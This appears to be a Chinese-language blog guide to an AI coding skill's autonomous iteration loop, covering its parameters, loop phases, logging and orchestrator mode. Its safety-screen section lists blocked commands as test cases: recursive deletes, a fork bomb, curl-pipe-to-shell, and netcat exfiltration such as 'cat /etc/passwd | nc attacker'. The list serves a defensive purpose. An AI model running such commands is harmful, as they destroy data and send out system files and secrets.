Claude Autoresearch Skill 完整指南:Goal-Driven 自主迭代循环(Modify → Verify → Keep/Discard)协议详解

原创2026-10-08 21:01:421,750 阅读
文章标签:AI 技能AI 插件代码质量开发工具

Claude Autoresearch Skill 完整指南:Goal-Driven 自主迭代循环(Modify → Verify → Keep/Discard)协议详解

导读

本文以开源仓库 autoresearch 中 .opencode/commands/autoresearch.md 的完整命令协议为骨架,系统讲解 Claude Autoresearch Skill 的核心引擎:/autoresearch 自主迭代循环。你将掌握该命令的完整参数语法(Goal / Scope / Metric / Verify / Guard / Iterations)、从基线建立、前置检查到 7 阶段迭代循环(Review → Modify → Commit → Verify → Guard → Decide → Log)的每一步协议细节,以及 --evals 中途检查点、--chain 链式交接和安全筛查(Safety Screen)的底层实现依据——所有关键结论均可在 scripts/orchestrate.sh、tests/test-orchestrator.sh 与 guide/autoresearch.md 中找到源码与测试佐证。


1. 命令本质:把 Claude 变成"永不停机的改进引擎"

/autoresearch 是 autoresearch 技能的核心命令。它执行一个自主的 modify → verify → keep/discard 循环,默认迭代 25 次(可通过 Iterations: N 或 Iterations: unlimited 覆盖)。你只需提供:

  • Goal(目标):要改进什么;
  • Scope(范围):Claude 可以修改的文件 glob;
  • Metric + Verify(指标与验证):一个输出数字的 shell 命令,作为客观度量;
  • Guard(护栏,可选):必须始终保持通过的安全命令。

之后 Claude 会自行挑选影响最大的改动、提交(commit)、测量结果,根据指标是否改善决定 keep(保留) 还是 discard(git revert 回滚),并反复迭代直到迭代数耗尽或目标达成。它还会把 git 历史当作"记忆":前几轮什么有效、什么失败,都会影响下一轮的选择。

在技能分派层面(见 .opencode/skills/autoresearch/SKILL.md),裸调用 /autoresearch 存在三种模式分派:

触发条件 模式
提供了 Metric: 或 Verify: Classic 经典模式 — 本文主讲的指标循环,行为不变
只有自由文本目标,无 metric/verify Orchestrator 编排模式 — 自动分类目标、派生 Success predicate 并跨子命令循环
什么都没有 Setup wizard 配置向导 — 交互式配置构建器
--classic 标志 强制 Classic 模式
--auto 标志 强制 Orchestrator 模式

每次调用都会打印横幅:[autoresearch] mode: classic | orchestrator | wizard。


2. 完整参数语法与配置字段

命令协议(来自 .opencode/commands/autoresearch.md)要求从 $ARGUMENTS 中提取以下参数:

参数 说明 默认值
Goal: 要改进什么 必填
Scope: 或 --scope 文件 glob 模式 推荐提供
Metric: 跟踪的数字指标(务必注明方向) 推荐提供
Direction: higher_is_better(默认)或 lower_is_better higher_is_better
Verify: 输出数字的 shell 命令 推荐提供
Guard: 可选的安全命令,必须始终通过 无
Iterations: 或 --iterations 有界模式下整数 N;"unlimited" 为无界 25
--evals 启用中途检查点(mid-loop checkpoints) 关
--evals-interval N 覆盖检查点频率 自适应
--chain <targets> 逗号分隔的下游命令,循环结束后按序交接 无

完整的用户侧写法(guide/autoresearch.md):

/autoresearch
Goal:       <what you want to improve>
Scope:      <file globs Claude can modify>
Metric:     <what number to track> (<direction>)
Verify:     <shell command whose output contains the metric>
Guard:      <optional command that must always pass>
Iterations: <N | unlimited — default: 25>

2.1 配置字段速查表

字段 必填 说明
Goal 是 纯语言目标,尽量包含具体数字
Scope 推荐 Claude 可以修改的文件 glob
Metric 推荐 被跟踪的数字,始终指明方向
Verify 推荐 stdout 包含指标值的 shell 命令
Guard 可选 每次保留改动后必须 exit 0
Iterations 可选 默认 25;过夜运行用 unlimited

2.2 通用标志(Universal Flags)

标志 用途
Iterations: N 恰好运行 N 轮(默认 25)
Iterations: unlimited 一直运行到目标达成或 Ctrl+C
--evals 循环结束时运行 evals 分析
--evals-interval N 循环中每 N 轮运行一次 evals
--chain <targets> 循环结束后交接给下一个命令

在 SKILL.md 中,--<subcommand> 是所有子命令可用的 --chain <subcommand> 简写;--dry-run 让 Orchestrator 只打印派生配置与计划管线而不执行;--max-cycles N 是编排循环的硬上限(默认 50)。


3. 前置检查(Precondition Checks)与安全筛查(Safety Screen)

3.1 前置检查

在启动循环前,协议要求依次检查:

  1. 确认存在 git 仓库(git rev-parse --git-dir);
  2. 检查工作树是否干净(git status --porcelain)——若 dirty 则警告;
  3. 检查过期的锁文件(stale lock files)与 detached HEAD 状态;
  4. 若设置了 Guard,先运行 Guard 建立护栏基线(guard baseline);
  5. 任何关键问题 快速失败(fail fast),非关键问题仅警告。

3.2 Verify 安全筛查

在首次 dry-run 之前,必须对 Verify 命令进行安全筛查,拦截以下危险模式:

  • rm -rf 类递归强制删除;
  • fork 炸弹(如 :(){ :|:& };:);
  • curl|sh / wget|sh 管道执行远程代码;
  • 内嵌凭据(AWS Key、PASSWORD=、私钥头);
  • 出站写入(outbound writes)。

这项筛查在 scripts/orchestrate.sh 中以 screen-cmd 子命令落地实现(ok exit 0 / refuse exit 1),并由 tests/test-orchestrator.sh 的 40+ 条断言覆盖,包括针对绕过技巧的加固:

  • rm 变体:rm -Rf(大写)、rm -r -f(分离标志)、rm --recursive --force(长标志)、/bin/rm -rf、./rm(路径限定)全部拒绝;而普通单词 confirm、perform 不受影响;
  • curl/wget 管道:curl|zsh、curl|python3 -、wget|/bin/bash、curl|xargs sh、curl|xargs bash 全部拒绝;但合法的解析管道 curl -s api/health | jq .ok、curl -s u | grep ok 放行(枚举解释器而非拒绝所有管道,避免误伤合法 predicate);
  • 破坏性工具:dd 写原始块设备(含 mmcblk、md RAID、dm- 设备映射器)、mkfs/mke2fs、find -delete、shred、truncate -s 0(--size=0 也拦截)、chmod -R 000(chmod -R 0 八进制短形式也拦截)全部拒绝;
  • 外传管道:cat /etc/passwd | nc attacker、tar c /data | ncat host 拒绝;
  • 数据库 URL 锚定允许列表:postgres://user:pass@prod-db.example.com/myapp 拒绝;localhost / 127.0.0.1 / 无点容器主机名放行;外部主机仅当库名以 _test 或 _ci 后缀结尾(myapp_test、myapp_ci)放行——裸子串不通过(latest、precision 均被拒绝)。

不会误伤的正常命令(测试明确断言仍为 ok):pytest -q、go build ./...、cargo test、find . -name '*.go'、chmod -R 755 build、truncate --size=4096 file.bin、dd if=in.img of=out.img bs=1M、echo log > /dev/null。


4. 建立基线(Iteration 0)

循环启动前必须建立可复现的基线:

  1. 运行 Verify 命令并提取数字指标;
  2. 以 iteration 0 记录进 TSV,格式为: 0\t{timestamp}\t{commit}\t{metric}\t0.0\t{guard}\t-\tbaseline\tinitial state
  3. 创建输出目录:autoresearch/loop-{YYMMDD}-{HHMM}/;
  4. 写入 TSV 表头: # metric_direction: {direction}\niteration\ttimestamp\tcommit\tmetric\tdelta\tguard\tguard-metric\tstatus\tdescription

协议还强调:先手动运行一遍 Verify 命令,确认你知道自己的基线数值。


5. 迭代循环:7 个阶段逐轮详解

对于每一轮迭代(1 到 max_iterations,或无界运行):

Phase 1:Review(把 git 历史当记忆)

  • 读取结果 TSV 的最后 10–20 行;
  • 运行 git log --oneline -20 观察哪些改动成功/失败;
  • 若上一轮是 keep,运行 git diff HEAD~1 查看是什么改进了指标;
  • 总结:什么有效、什么失败、什么还没试过。

Phase 2:Modify(修改)

  • 基于 Review 结果,做出一个聚焦的改动以改进指标;
  • 改动必须是原子的(atomic)——单一逻辑工作单元,一句话可解释。

Phase 3:Commit(提交)

  • 暂存并提交,提交信息带 experiment: {description} 前缀;
  • 记录 commit SHA(保证回滚始终干净)。

Phase 4:Verify(验证)

  • 运行 Verify 命令并提取新的指标值;
  • 计算与上一轮的 delta;
  • 指标朝正确方向改进 → 成为 keep 候选。

Phase 5:Guard(护栏,若配置)

  • 运行 Guard 命令;若失败 → 无论指标是否改进都回滚。

Phase 6:Decide(决策)

状态 触发条件 动作
keep 指标改进且 guard 通过 保留提交
discard 指标变差 git revert HEAD --no-edit
crash verify/guard 命令失败 git revert HEAD --no-edit
no-op 本轮未做改动 —
hook-blocked git hook 阻止了提交 —
metric-error verify 输出不是合法数字 git revert HEAD --no-edit

Phase 7:Log(记录)

向 TSV 追加一行:iteration、timestamp、commit/-、metric、delta、guard status、guard-metric、status、description。

检查点与终止

  • Eval Checkpoint:若启用 --evals,当 current_iteration % interval == 0 时运行检查点分析;
  • Bounded Check:有界模式下 current_iteration >= max_iterations → 退出循环并打印摘要。

循环结束后的 Summary

打印:总迭代数、keep/discard 计数、起始指标 → 最终指标、改进百分比、效果最好的前 3 个改动。

用户在指南(guide/autoresearch.md)中还补充了 guard 失败时的恢复流程:指标改进但 guard 失败 → 立即回滚 → 阅读 guard 输出定位破坏点 → 重做优化(最多 2 次尝试)→ 若两次都失败则丢弃,进入下一轮。并给出常用 guard 模式:Guard: npm test、Guard: tsc --noEmit && npm test、Guard: npx playwright test。


6. 实战示例:六类典型场景

以下示例完整来自 guide/autoresearch.md,展示了 Verify 命令如何用 grep/awk/jq 干净地提取单一数字:

提高测试覆盖率(有界)

/autoresearch
Iterations: 20
Goal: Increase test coverage from 72% to 90%
Scope: src/**/*.test.ts, src/**/*.ts
Metric: coverage % (higher is better)
Verify: npm test -- --coverage | grep "All files"

缩小打包体积(lower is better + guard)

/autoresearch
Iterations: 15
Goal: Reduce production bundle size below 200KB
Scope: src/**/*.tsx, src/**/*.ts
Metric: bundle size in KB (lower is better)
Verify: npm run build 2>&1 | grep "First Load JS"
Guard: npm test

消除 TypeScript any 类型

/autoresearch
Iterations: 25
Goal: Eliminate all TypeScript `any` types
Scope: src/**/*.ts
Metric: count of `any` occurrences (lower is better)
Verify: grep -r ":\s*any" src/ --include="*.ts" | wc -l
Guard: tsc --noEmit

API 性能(p95 延迟)

/autoresearch
Iterations: 20
Goal: API response time under 100ms (p95)
Scope: src/api/**/*.ts, src/services/**/*.ts
Metric: p95 response time in ms (lower is better)
Verify: npm run bench:api | grep "p95"
Guard: npm test

pytest 覆盖率(Python)

/autoresearch
Iterations: 30
Goal: Increase pytest coverage from 68% to 90%
Scope: tests/**/*.py, app/**/*.py
Metric: coverage % (higher is better)
Verify: pytest --cov=app --cov-report=term-missing 2>&1 | grep "TOTAL" | awk '{print $4}'

ML 训练损失(无界、过夜运行)

/autoresearch
Iterations: unlimited
Goal: Reduce validation loss (val_bpb)
Scope: train.py, model.py
Metric: val_bpb (lower is better)
Verify: uv run train.py --epochs 1 2>&1 | grep "val_bpb" | tail -1 | awk '{print $NF}'

携带 evals 检查点的 lint 修复(每 5 轮一次)

/autoresearch
Iterations: 25
Goal: Reduce lint errors to zero
Scope: src/**/*.ts
Metric: lint error count (lower is better)
Verify: npx eslint src/ 2>&1 | grep -c "error"
--evals
--evals-interval 5

指南还包含 Go 覆盖率(go test ./... -coverprofile=cover.out && go tool cover -func=cover.out | grep "total:" | awk '{print $3}')与 SEO 内容优化(node scripts/seo-score.js --file content/blog/target-post.md)等其他场景。


7. 有界 vs 无界(Bounded vs Unbounded)

有界(Iterations: N) 无界(Iterations: unlimited)
停止时机 N 轮完成后 目标达成或 Ctrl+C
适合场景 Sprint、CI、固定预算 过夜运行
CI 使用 可以 仅配合外部超时
默认值 25 不适用

经验准则:在陌生代码库上先跑 Iterations: 10 校准;结果不错再增加或移除上限。


8. 结果 TSV 与 evals 分析

8.1 TSV 格式

循环每次运行都会在 autoresearch/loop-{YYMMDD}-{HHMM}/ 目录留下 *-results.tsv:

iteration  commit   metric  delta   guard  status    description
0          a1b2c3d  85.2    0.0     -      baseline  initial state
1          b2c3d4e  87.1    +1.9    pass   keep      add auth edge case tests
2          -        86.5    -0.6    -      discard   refactor helpers
3          c3d4e5f  88.3    +1.2    pass   keep      add error handling tests

8.2 Eval Checkpoint 协议(--evals 标志)

  • 自适应间隔:floor(max_iterations / 3),最小为 1;无界模式固定为 10;可用 --evals-interval N 覆盖;
  • 每隔 interval 轮暂停并分析当前结果 TSV;
  • 检查点格式(最多 5 行):
    --- Eval Checkpoint (iterations {X}-{Y}) ---
    Metric: {start} → {end} ({delta}) | Kept: {n}/{total} | Trend: {up/flat/down}
    {one-line recommendation}
    ---
    
  • 若连续 3+ 个检查点检测到平台期(plateau)→ 建议提前停止;
  • 循环结束时在输出目录生成完整的 evals-summary.md。

各子命令的自适应间隔示例(来自 .opencode/commands/autoresearch_evals.md):

子命令 默认迭代 间隔 检查点位置
reason 8 2 2, 4, 6, 8
learn 10 3 3, 6, 9, final
debug/security 15 5 5, 10, 15
fix/scenario 20 6 6, 12, 18, final
core(autoresearch) 25 8 8, 16, 24, final
unbounded unlimited 10 每 10 轮

8.3 evals 子命令

/autoresearch_evals(.opencode 下为 autoresearch_evals)是独立的结果分析器:动态检测 TSV 列(metric/delta/status/guard/severity/hypothesis/commit/dimension/candidate_label/error_type/classification/convergence_count 等),支持 --format text|json|md 三种输出,可生成 go/no-go 建议(如 RECOMMENDATION: STOP — plateau reached),并与 v2.0.x 旧版 TSV 向后兼容。


9. 链式交接(Chain Handoff)与编排模式

9.1 handoff.json

循环完成后,协议要求向输出目录写入 handoff.json:

  • version: "2.1.0"、source: "loop"、timestamp;
  • status:COMPLETE | USER_INTERRUPT | BOUNDED | ERROR;
  • results_tsv 路径、findings[];
  • config{goal, scope, metric, direction, verify}。

然后按 --chain 指定的顺序调用下游目标,并传播 --evals 标志。SKILL.md 中的安全不变量规定:所有结果记录到 autoresearch/{subcommand}-{YYMMDD}-{HHMM}/ 目录,chain 交接经由 handoff.json,evals 读取 *-results.tsv。

9.2 编排模式(Orchestrator)的源码实现

当目标不带 Metric:/Verify: 时,Orchestrator 将其分类为 9 种 Goal archetype(见 .opencode/skills/autoresearch/references/orchestrator-routing.md),并通过 scripts/orchestrate.sh 的确定性子命令驱动循环。从源码可以确认的核心机制:

  • classify:按优先级匹配关键词——harden(secure/harden/vuln)> fix-broken(fix/bug/broken)> ship-ready(ship/release/deploy)> what-to-build(what...build/next)> build-feature(build/implement/add)> optimize-metric(faster/smaller/reduce/optimize/coverage)> document > decide-design > 默认 explore。测试证实"fix and add the broken feature"正确路由到 fix-broken 而非 build-feature;
  • next-hop:路由决策表按 errors → regression → untested gaps → pending_verify → ship/DONE 顺序裁决,全部通过字段读取(无 jq 依赖);
  • units:剩余工作量标量 = failing_tests + open_hard_regressions + (metric_delta / metric_target),目标为 0 时返回 unknown 并 exit 2;
  • plateau:读取单位历史,跳过穿插的 unknown 轮次,取最近 N=5 个计算值——末值仍 >= 首值即判定平台期(振荡但净零也算平台期);连续 5 个尾随 unknown 输出 BLOCKED;
  • verdict:CONVERGED(units==0)/ PLATEAU / CEILING / BLOCKED 四态判定,并输出 ship=yes/no 闸门;
  • validate-state + screen-state-predicate:持久化的 orchestrator-state.json 在恢复时先做 schema 校验,再用 screen-cmd 重新筛查固定的 Success predicate——"持久化的命令永不信任",含转义引号(state-escaped-quote-predicate.json)与 Unicode 转义(state-unicode-danger-predicate.json)的投毒 predicate 均被测试证实拦截。

9.3 编排安全不变量(摘自 SKILL.md)

  • 绝不自动批准 ship/deploy/push:Orchestrator 从不给 ship 传 --auto,部署永远需要显式用户批准;
  • 数据迁移走锚定 DB-URL 允许列表:复用 regression 的允许列表,主机必须是 localhost/127.0.0.1/容器主机名,或库名带 _test/_ci 后缀;裸子串匹配不合格;
  • 每个派生命令都过 screen-cmd:循环开始前以及从持久化状态文件恢复时的每条命令都要重新筛查;
  • predicate 固定而非重新派生:Round-0 将派生的 Success predicate 原样写入 orchestrator-state.json,每轮与每次恢复都复用同一字符串,保证"完成"跨运行可复现;
  • 独立验证(Independent Verify):高影响改动先以工作信号集置为 pending_verify,next-hop 路由到 verify hop(持出集/对抗性检查)之后才允许 DONE 或 ship——防止改动"刷自己的指标";
  • unknown-units 轮次不计入 Plateau 计数:重复 unknown 路由到 BLOCKED。

10. 使用建议与最佳实践

综合协议与指南的 Tips 部分:

  1. 写紧的 Verify 命令:一个数字,用 grep/awk/jq 干净提取;启动前务必手动跑一遍确认基线;
  2. 善用 Guard:当指标不是测试通过率时,多用 Guard: npm test 防止回归;
  3. 先小后大:陌生代码库先 Iterations: 10,效果良好再扩量;无界模式只用于过夜运行且 CI 中必须配外部超时;
  4. 用 git 历史复盘:git log 能精确展示每次改动及原因,git revert <hash> 可撤销任一改动;
  5. 搭配其他子命令:不确定用什么指标用 plan;需求不清用 probe;测试/类型/lint 全红先用 fix;有 bug 找不到位置用 debug;上线前安全审计用 security;就绪后用 ship(完整命令矩阵见 .opencode/skills/autoresearch/SKILL.md,如 debug 默认 15 轮、fix 默认 20 轮、security 默认 15 轮、scenario 默认 20 轮)。

11. 相关资源导航

登录后查看全文
autoresearch